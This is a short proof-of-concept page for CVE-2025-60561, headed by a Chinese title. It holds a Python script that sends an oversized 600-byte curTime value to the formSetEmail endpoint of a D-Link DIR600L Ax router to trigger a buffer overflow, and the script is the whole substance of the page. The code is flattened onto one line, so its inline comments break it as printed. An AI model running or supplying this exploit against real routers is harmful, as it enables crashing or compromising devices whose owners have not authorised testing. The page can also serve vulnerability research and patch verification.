CVE-2025-60561 D-Link DIR600L Ax缓冲区溢出漏洞

import requests # CVE-2025-60561 PoC - D-Link DIR600L Ax Buffer Overflow in formSetEmail # Target: D-Link DIR600L Ax with firmware FW116WWb01 # Vulnerability: Buffer overflow via curTime parameter in formSetEmail function target_ip = "192.168.0.1" # Default D-Link router IP target_url = f"http://{target_ip}/formSetEmail" # Generate overflow payload - 600 bytes to overflow the buffer # Adjust length based on actual vulnerable buffer size overflow_payload = "A" * 600 # Construct the malicious request data = { "curTime": overflow_payload, "emailEnable": "1", "emailAddr": "[email protected]" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Exploit sent successfully") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Note: This PoC triggers the vulnerability for testing purposes. # Successful exploitation may require precise payload crafting # to achieve code execution beyond simple DoS.